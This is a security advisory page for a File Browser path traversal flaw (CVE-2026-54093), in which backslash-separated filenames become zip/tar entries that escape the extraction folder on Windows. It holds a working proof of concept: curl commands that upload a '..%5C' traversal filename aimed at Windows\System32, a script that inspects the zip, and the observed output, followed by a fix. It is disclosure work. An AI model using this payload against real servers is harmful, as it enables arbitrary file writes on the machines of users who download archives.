GHSA-GXJX-7M74-HCQ8

Vulnerability from github – Published: 2026-06-12 21:53 – Updated: 2026-06-12 21:53
VLAI
Summary
File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames
Details

Summary

filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.

Details

http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/archives@v0.1.5:

nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
    FileInfo:      info,
    NameInArchive: nameInArchive,
    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
})

On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.

The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.

PoC

Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).

# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"

# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"admin\",\"password\":\"$PW\"}")

# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
  -H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'

# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PY

Observed output (verbatim):

mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: True

Server-side, the file exists with a literal backslash name:

-rw-r-----  1 user user  20  ..\..\..\..\..\Windows\System32\evil.txt

The central-directory hex tail 2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973... decodes to ..\..\..\..\..\Windows\Sys....

Negative control — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by path.Clean:

safezone entries: ['normal.txt']
PUT ..%2F..%2Fevil2.txt  ->  HTTP 301  (collapsed by path.Clean; nothing escapes)

This proves / is handled but \ is the unhandled gap.

To observe the Windows-side traversal effect, extract fb_evil.zip on Windows:

Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force
# 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out

Impact

Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).

Affected versions

All current versions through v2.63.5 (verified against the v2.63.5 release image). The filepath.ToSlash-based normalization in http/raw.go getFiles() is the root cause; github.com/mholt/archives@v0.1.5 passes the name through verbatim.

Suggested fix

Normalize Windows separators out of the in-archive name regardless of host OS, in http/raw.go getFiles() before constructing archives.FileInfo:

nameInArchive = filepath.ToSlash(nameInArchive)
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host

Optionally also reject or sanitize filenames containing \ at create time in http/resource.go so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only filepath.Base likewise failed to strip backslashes on Linux.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.63.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.63.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T21:53:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nfilebrowser builds the download-as-zip / download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\\..\\..\\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted **verbatim** as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\\` as a path separator and write the extracted file **outside** the extraction directory \u2014 arbitrary file write on the victim who downloads and extracts the archive.\n\n### Details\n`http/raw.go` `getFiles()` constructs the in-archive name and passes it to `github.com/mholt/archives@v0.1.5`:\n```go\nnameInArchive := strings.TrimPrefix(path, commonPath)\nnameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))\nnameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites \u0027\\\u0027 on Windows\narchiveFiles = append(archiveFiles, archives.FileInfo{\n    FileInfo:      info,\n    NameInArchive: nameInArchive,\n    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },\n})\n```\nOn Linux `filepath.Separator == \u0027/\u0027`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt/archives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip/tar central directory.\n\nThe filename reaches the filesystem because the resource create path (`http/resource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean(\"/\" + ...)`, which treats only `/` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\\` in its name. Any user with the **Create** permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.\n\n### PoC\nDeployed against the official image `filebrowser/filebrowser:v2.63.5` (current release, 2026-05-21).\n\n```bash\n# 1. Deploy\ndocker volume create fb-srv-vol\ndocker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5\n# wait for /health == 200; read the generated admin password from `docker logs fb-poc`\nPW=\"\u003cpassword from docker logs\u003e\"\n\n# 2. Authenticate\nTOK=$(curl -s -X POST http://localhost:8088/api/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)\ncurl -s -o /dev/null -w \"mkdir=%{http_code}\\n\" \\\n  -X POST \"http://localhost:8088/api/resources/evilzone/\" -H \"X-Auth: $TOK\"\nFNAME=\u0027..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt\u0027\ncurl -s -o /dev/null -w \"putfile=%{http_code}\\n\" \\\n  -X POST \"http://localhost:8088/api/resources/evilzone/${FNAME}?override=true\" \\\n  -H \"X-Auth: $TOK\" --data-binary \u0027PWNED-BY-TONGHUAROOT\u0027\n\n# 4. Download the folder as a zip and inspect the entry name\ncurl -s -o /tmp/fb_evil.zip \"http://localhost:8088/api/raw/evilzone?algo=zip\" -H \"X-Auth: $TOK\"\npython3 - \u003c\u003c\u0027PY\u0027\nimport zipfile, binascii\nz = zipfile.ZipFile(\u0027/tmp/fb_evil.zip\u0027)\nprint(\"entries:\", [i.orig_filename for i in z.infolist()])\ndata = open(\u0027/tmp/fb_evil.zip\u0027,\u0027rb\u0027).read()\nidx = data.find(b\u0027PK\\x01\\x02\u0027)\nprint(\"central-dir hex:\", binascii.hexlify(data[idx:idx+72]).decode())\nprint(\"contains 0x5c backslash byte:\", b\u0027\\x5c\u0027 in data[idx:idx+200])\nPY\n```\n\n**Observed output (verbatim):**\n```\nmkdir=200\nputfile=200\nentries: [\u0027..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.txt\u0027]\ncentral-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973\ncontains 0x5c backslash byte: True\n```\nServer-side, the file exists with a literal backslash name:\n```\n-rw-r-----  1 user user  20  ..\\..\\..\\..\\..\\Windows\\System32\\evil.txt\n```\nThe central-directory hex tail `2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973...` decodes to `..\\..\\..\\..\\..\\Windows\\Sys...`.\n\n**Negative control** \u2014 a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by `path.Clean`:\n```\nsafezone entries: [\u0027normal.txt\u0027]\nPUT ..%2F..%2Fevil2.txt  -\u003e  HTTP 301  (collapsed by path.Clean; nothing escapes)\n```\nThis proves `/` is handled but `\\` is the unhandled gap.\n\nTo observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows:\n```powershell\nExpand-Archive -Path .\\fb_evil.zip -DestinationPath .\\out -Force\n# 7-Zip / WinRAR with default settings honor the ..\\ parents and write outside .\\out\n```\n\n### Impact\nArbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker\u0027s directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root\u0027s parent tree).\n\n### Affected versions\nAll current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http/raw.go` `getFiles()` is the root cause; `github.com/mholt/archives@v0.1.5` passes the name through verbatim.\n\n### Suggested fix\nNormalize Windows separators out of the in-archive name regardless of host OS, in `http/raw.go` `getFiles()` before constructing `archives.FileInfo`:\n```go\nnameInArchive = filepath.ToSlash(nameInArchive)\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\") // strip Windows separators on any host\n```\nOptionally also reject or sanitize filenames containing `\\` at create time in `http/resource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.",
  "id": "GHSA-gxjx-7m74-hcq8",
  "modified": "2026-06-12T21:53:18Z",
  "published": "2026-06-12T21:53:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-gxjx-7m74-hcq8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/847d08bdd135e5c3659f2e6dea2f0cd36617af9b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…